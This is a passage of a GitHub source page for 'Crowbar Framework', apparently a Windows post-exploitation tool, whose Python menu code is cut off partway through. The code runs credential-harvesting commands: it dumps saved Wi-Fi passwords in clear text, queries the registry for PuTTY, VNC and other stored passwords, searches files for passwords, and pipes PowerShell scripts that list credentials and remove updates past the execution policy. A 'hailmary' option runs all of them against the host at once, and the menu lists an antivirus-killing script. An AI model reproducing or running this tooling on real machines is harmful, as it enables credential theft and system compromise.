-
Notifications
You must be signed in to change notification settings - Fork 9
/
main.py
1530 lines (1474 loc) · 157 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Crowbar Framework
# 4/25/2021
# Made by https://github.com/0x1CA3
import os
import ctypes
import datetime
import shutil
import pyautogui
import winreg
import socket
import platform
import psutil
import requests
import subprocess
from datetime import datetime
from getmac import get_mac_address
def functionclear():
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
functionclear()
ctypes.windll.kernel32.SetConsoleTitleW("[Crowbar Framework]")
beginmen = socket.gethostname()
ipurl = requests.get("https://ipv4bot.whatismyipaddress.com/").text
iptrack = requests.get("https://vpnapi.io/api/").text
# registry scanners from the old crowbar i made
def reg():
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
regkey = winreg.OpenKey(access_reg, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion")
for n in range(20):
try:
x = winreg.EnumValue(regkey, n)
print(x)
except:
break
def reg1():
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_CURRENT_USER)
regkey = winreg.OpenKey(access_reg, r"Environment")
for n in range(20):
try:
x = winreg.EnumValue(regkey, n)
print(x)
except:
break
def reg2():
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_CURRENT_USER)
regkey = winreg.OpenKey(access_reg, r"Volatile Environment")
for n in range(20):
try:
x = winreg.EnumValue(regkey, n)
print(x)
except:
break
def reg3():
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
regkey = winreg.OpenKey(access_reg, r"HARDWARE\DESCRIPTION\SYSTEM")
for n in range(20):
try:
x = winreg.EnumValue(regkey, n)
print(x)
except:
break
def reg4():
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
regkey = winreg.OpenKey(access_reg, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform")
for n in range(20):
try:
x = winreg.EnumValue(regkey, n)
print(x)
except:
break
machine1 = platform.machine()
version1 = platform.version()
platform1 = platform.platform()
uname1 = platform.uname()
system1 = platform.system()
process1 = platform.processor()
computername = socket.gethostname()
localipaddress = socket.gethostbyname(computername)
boottime = datetime.fromtimestamp(psutil.boot_time())
def leavescripts():
scripts()
# credit to https://github.com/d4vinci for some of the powershell scripts
def scripts():
while True:
scripts = input("\nScripts (scripts/)\n |==> ")
if scripts == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| list - Lists all the scripts. |
| use (script number) - Selects and loads specified utility. Example: use 1 |
| hailmary - Runs all scripts against the target. [Not Recommended] |
| clear - Clears the screen. |
| back - Goes back to the Crowbar menu. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scripts == "list":
print('''
+———— Scripts ——————————————————————————————————————————————————————————————————— Description ————————————————————————————————————————————————————+
| 1. scripts/net/grabwifi A script that dumps the Wi-Fi SSID. |
| 2. scripts/sysdump A script that dumps basic system information. |
| 3. scripts/regdump A script that dumps information from the registry. |
| 4. scripts/AVKILL Script that attempts to kill the targets AntiVirus. |
| 5. scripts/net/dumpwifipass Script that dumps Wi-Fi passwords. |
| 6. scripts/vuln/eternal_blue [Nmap must be installed on target computer] Checks if target machine is vulnerable to "Eternal Blue". |
| 7. scripts/vuln/netapi [Nmap must be installed on target computer] Checks if target machine is vulnerable to "MS08-067". [Netapi] |
| 8. scripts/getusers Gets all users registered on the target machine. |
| 9. scripts/cmd/read_firewall_config Gathers firewall information. |
| 10. scripts/cmd/read_registry_putty_sessions Gather information and passwords from putty sessions. |
| 11. scripts/cmd/search_for_passwords Searches for passwords on the target machine. |
| 12. scripts/cmd/search_registry_for_passwords_cu Searches registry for passwords. |
| 13. scripts/cmd/read_registry_vnc_passwords Searches the registry for VNC passwords. |
| 14. scripts/cmd/read_registry_snmp_key Query machine snmp key in the registry to get snmp parameters. |
| 15. scripts/cmd/read_registry_run_key Query the run key for the current user on the target machine. |
| 16. scripts/cmd/list_network_shares Lists all network shares. |
| 17. scripts/cmd/list_localgroups Lists the local groups. |
| 18. scripts/cmd/list_drives List all drives. |
| 19. scripts/cmd/get_snmp_config Fetches current SNMP Configuration. |
| 20. scripts/cmd/list_user_privileges Lists current user privileges. |
| 21. scripts/cmd/read_services Reads services with wmic. |
| 22. scripts/cmd/list_installed_updates Lists installed updates. |
| 23. scripts/powershell/list_unqouted_services Querying wmi to search for unquoted service paths. |
| 24. scripts/powershell/list_routing_tables Lists current routing table. |
| 25. scripts/powershell/list_network_interfaces Lists network interface. |
| 26. scripts/powershell/list_installed_programs_using_registry Lists installed programs using the registry. |
| 27. scripts/powershell/list_installed_programs_using_folders Lists installed programs using folders. |
| 28. scripts/powershell/list_arp_tables Lists ARP tables. |
| 29. scripts/powershell/get_iis_config Fetches IIS config. |
| 30. scripts/powershell/sensitive_data_search A script that searches for files with sensitive data. |
| 31. scripts/powershell/list_credentials A script that lists credentials. |
| 32. scripts/powershell/remove_update [Nishang] A payload that removes updates for the target machine. |
| 33. scripts/powershell/get_unconstrained [Nishang] Script that finds machines with Unconstrained Delegation. |
| 34. scripts/extra/cmd/get_architecture Gets the processor architecture. |
| 35. scripts/extra/cmd/list_antivirus Lists installed AV's on the target machine. |
+—————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scripts == "clear":
functionclear()
elif scripts == "hailmary":
os.system("Netsh WLAN show profiles")
print(f'''
+——— Basic System Information ———————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| Machine: {machine1} |
| Version: {version1} |
| Platform: {platform1} |
| System: {system1} |
| Computer Name: {computername} |
| Local IP: {localipaddress} |
| Last Boot Time: {boottime} |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
print('''
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion
———————————————————————————————————————————————————————————————''')
reg()
print('''
Information from \Environment
———————————————————————————————————————————————————————————————''')
reg1()
print('''
Information from HKEY_CURRENT_USER\Volatile Environment
———————————————————————————————————————————————————————————————''')
reg2()
print('''
Information from HARDWARE\DESCRIPTION\SYSTEM
———————————————————————————————————————————————————————————————''')
reg3()
print('''
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
———————————————————————————————————————————————————————————————''')
reg4()
os.system("nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 {}".format(localipaddress))
os.system("nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 {}".format(localipaddress))
os.system("NET users")
os.system("netsh firewall show state & netsh firewall show config")
os.system("reg query 'HKCU\Software\SimonTatham\PuTTY\Sessions'")
os.system("findstr /si password *.xml *.ini *.txt *.config")
os.system('''REG QUERY HKCU /F "password" /t REG_SZ /S /K''')
os.system('''reg query "HKCU\Software\ORL\WinVNC3\Password"''')
os.system('''reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"''')
os.system("reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run")
os.system("net share")
os.system("net localgroup")
os.system("wmic logicaldisk get caption,description,providername")
os.system("reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s")
os.system("whoami /priv")
os.system("wmic service list brief")
os.system("wmic qfe")
subprocess.call('''powershell.exe Get-Content scripts/unquoteservice.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/routingtable.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/listnetworkinter.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/listprogramsreg.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/listprogramsfol.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/listarptables.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/iisconfig.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/sensitive_data_search.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/listcredentials.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''powershell.exe Get-Content scripts/removeupdate.ps1 | PowerShell.exe -noprofile -''', shell=True)
subprocess.call('''(cd scripts) && (PowerShell.exe -ExecutionPolicy Bypass -File ./getunconstrained.ps1)''', shell=True)
os.system("wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%")
os.system("cd scripts && list_antivirus.bat")
print('''
+——— Message ————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| Hail mary finished! |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scripts == "back":
crowbarbanner()
mainmenuinput()
elif scripts == "use 1":
while True:
scriptsgrabwifi = input("\nScripts (scripts/net/grabwifi)\n |==> ")
if scriptsgrabwifi == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| dump - Dumps all Wi-Fi SSID's. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsgrabwifi == "dump":
os.system("Netsh WLAN show profiles")
elif scriptsgrabwifi == "clear":
functionclear()
elif scriptsgrabwifi == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 2":
while True:
scriptssysdump = input("\nScripts (scripts/sysdump)\n |==> ")
if scriptssysdump == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| dump - Dumps basic system information. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptssysdump == "dump":
print(f'''
+——— Basic System Information ———————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| Machine: {machine1} |
| Version: {version1} |
| Platform: {platform1} |
| System: {system1} |
| Computer Name: {computername} |
| Local IP: {localipaddress} |
| Last Boot Time: {boottime} |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptssysdump == "clear":
functionclear()
elif scriptssysdump == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 3":
while True:
scriptsregdump = input("\nScripts (scripts/regdump)\n |==> ")
if scriptsregdump == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| dump - Dumps information from the registry. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsregdump == "dump":
print('''
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion
———————————————————————————————————————————————————————————————''')
reg()
print('''
Information from \Environment
———————————————————————————————————————————————————————————————''')
reg1()
print('''
Information from HKEY_CURRENT_USER\Volatile Environment
———————————————————————————————————————————————————————————————''')
reg2()
print('''
Information from HARDWARE\DESCRIPTION\SYSTEM
———————————————————————————————————————————————————————————————''')
reg3()
print('''
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
———————————————————————————————————————————————————————————————''')
reg4()
elif scriptsregdump == "clear":
functionclear()
elif scriptsregdump == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 4":
print('''
+——— Message ————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| For the safety of the machine, this script will not be executed. |
| However, you can access the file in the '/scripts' folder. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scripts == "use 5":
while True:
scriptswifipass = input("\nScripts (scripts/net/dumpwifipass)\n |==> ")
if scriptswifipass == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| dump - Dumps Wi-Fi password. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptswifipass == "dump":
wifissid = input("\nScripts (Enter the network SSID which you want to dump passwords from)\n |==> ")
os.system("NETSH WLAN SHOW PROFILE {} KEY=CLEAR".format(wifissid))
elif scriptswifipass == "clear":
functionclear()
elif scriptswifipass == "back":
leavescripts()
elif scripts == "use 6":
while True:
scriptseternal = input("\nScripts (scripts/vuln/eternal_blue)\n |==> ")
if scriptseternal == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| vuln - Checks if the target computer is vulnerable. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptseternal == "vuln":
os.system("nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 {}".format(localipaddress))
elif scriptseternal == "clear":
functionclear()
elif scriptseternal == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 7":
while True:
scriptsnetapi = input("\nScripts (scripts/vuln/netapi)\n |==> ")
if scriptsnetapi == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| vuln - Checks if the target computer is vulnerable. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsnetapi == "vuln":
os.system("nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 {}".format(localipaddress))
elif scriptsnetapi == "clear":
functionclear()
elif scriptsnetapi == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 8":
while True:
scriptsgetuser = input("\nScripts (scripts/cmd/getusers)\n |==> ")
if scriptsgetuser == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsgetuser == "run":
os.system("NET users")
elif scriptsgetuser == "clear":
functionclear()
elif scriptsgetuser == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 9":
while True:
scriptsfirewallcfg = input("\nScripts (scripts/cmd/read_firewall_config)\n |==> ")
if scriptsfirewallcfg == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsfirewallcfg == "run":
os.system("netsh firewall show state & netsh firewall show config")
elif scriptsfirewallcfg == "clear":
functionclear()
elif scriptsfirewallcfg == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 10":
while True:
scriptsreadregputty = input("\nScripts (scripts/cmd/read_registry_putty_sessions)\n |==> ")
if scriptsreadregputty == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsreadregputty == "run":
os.system("reg query 'HKCU\Software\SimonTatham\PuTTY\Sessions'")
elif scriptsreadregputty == "clear":
functionclear()
elif scriptsreadregputty == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 11":
while True:
scriptssearchpass = input("\nScripts (scripts/cmd/search_for_passwords)\n |==> ")
if scriptssearchpass == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptssearchpass == "run":
os.system("findstr /si password *.xml *.ini *.txt *.config")
elif scriptssearchpass == "clear":
functionclear()
elif scriptssearchpass == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 12":
while True:
scriptsregisterypasswordcu = input("\nScripts (scripts/cmd/search_registry_for_passwords_cu)\n |==> ")
if scriptsregisterypasswordcu == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsregisterypasswordcu == "run":
os.system('''REG QUERY HKCU /F "password" /t REG_SZ /S /K''')
elif scriptsregisterypasswordcu == "clear":
functionclear()
elif scriptsregisterypasswordcu == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 13":
while True:
scriptsreadvncpass = input("\nScripts (scripts/cmd/read_registry_vnc_passwords)\n |==> ")
if scriptsreadvncpass == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsreadvncpass == "run":
os.system('''reg query "HKCU\Software\ORL\WinVNC3\Password"''')
elif scriptsreadvncpass == "clear":
functionclear()
elif scriptsreadvncpass == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 14":
while True:
scriptssnmpkey = input("\nScripts (scripts/cmd/read_registry_snmp_key)\n |==> ")
if scriptssnmpkey == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptssnmpkey == "run":
os.system('''reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"''')
elif scriptssnmpkey == "clear":
functionclear()
elif scriptssnmpkey == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 15":
while True:
scriptsregrunkey = input("\nScripts (scripts/cmd/read_registry_run_key)\n |==> ")
if scriptsregrunkey == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsregrunkey == "run":
os.system("reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run")
elif scriptsregrunkey == "clear":
functionclear()
elif scriptsregrunkey == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 16":
while True:
scriptsnetshares = input("\nScripts (scripts/cmd/list_network_shares)\n |==> ")
if scriptsnetshares == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsnetshares == "run":
os.system("net share")
elif scriptsnetshares == "clear":
functionclear()
elif scriptsnetshares == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 17":
while True:
scriptslistlocalgroup = input("\nScripts (scripts/cmd/list_localgroups)\n |==> ")
if scriptslistlocalgroup == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistlocalgroup == "run":
os.system("net localgroup")
elif scriptslistlocalgroup == "clear":
functionclear()
elif scriptslistlocalgroup == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 18":
while True:
scriptslistdrive = input("\nScripts (scripts/cmd/list_drives)\n |==> ")
if scriptslistdrive == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistdrive == "run":
os.system("wmic logicaldisk get caption,description,providername")
elif scriptslistdrive == "clear":
functionclear()
elif scriptslistdrive == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 19":
while True:
scriptsgetsnmpcfg = input("\nScripts (scripts/cmd/get_snmp_config)\n |==> ")
if scriptsgetsnmpcfg == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsgetsnmpcfg == "run":
os.system("reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s")
elif scriptsgetsnmpcfg == "clear":
functionclear()
elif scriptsgetsnmpcfg == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 20":
while True:
scriptslistuserpriv = input("\nScripts (scripts/cmd/list_user_privileges)\n |==> ")
if scriptslistuserpriv == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistuserpriv == "run":
os.system("whoami /priv")
elif scriptslistuserpriv == "clear":
functionclear()
elif scriptslistuserpriv == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 21":
while True:
scriptsreadservices = input("\nScripts (scripts/cmd/read_services)\n |==> ")
if scriptsreadservices == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsreadservices == "run":
os.system("wmic service list brief")
elif scriptsreadservices == "clear":
functionclear()
elif scriptsreadservices == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 22":
while True:
scriptslistinstalled = input("\nScripts (scripts/cmd/list_installed_updates)\n |==> ")
if scriptslistinstalled == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistinstalled == "run":
os.system("wmic qfe")
elif scriptslistinstalled == "clear":
functionclear()
elif scriptslistinstalled == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 23":
while True:
scriptslistunquote = input("\nScripts (scripts/powershell/list_unquoted_services)\n |==> ")
if scriptslistunquote == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistunquote == "run":
subprocess.call('''powershell.exe Get-Content scripts/unquoteservice.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptslistunquote == "clear":
functionclear()
elif scriptslistunquote == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 24":
while True:
scriptsroutingtable = input("\nScripts (scripts/powershell/list_routing_tables)\n |==> ")
if scriptsroutingtable == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsroutingtable == "run":
subprocess.call('''powershell.exe Get-Content scripts/routingtable.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptsroutingtable == "clear":
functionclear()
elif scriptsroutingtable == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 25":
while True:
scriptsnetworkinter = input("\nScripts (scripts/powershell/list_network_interfaces)\n |==> ")
if scriptsnetworkinter == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsnetworkinter == "run":
subprocess.call('''powershell.exe Get-Content scripts/listnetworkinter.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptsnetworkinter == "clear":
functionclear()
elif scriptsnetworkinter == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 26":
while True:
scriptslistinstalledproreg = input("\nScripts (scripts/powershell/list_installed_programs_using_registry)\n |==> ")
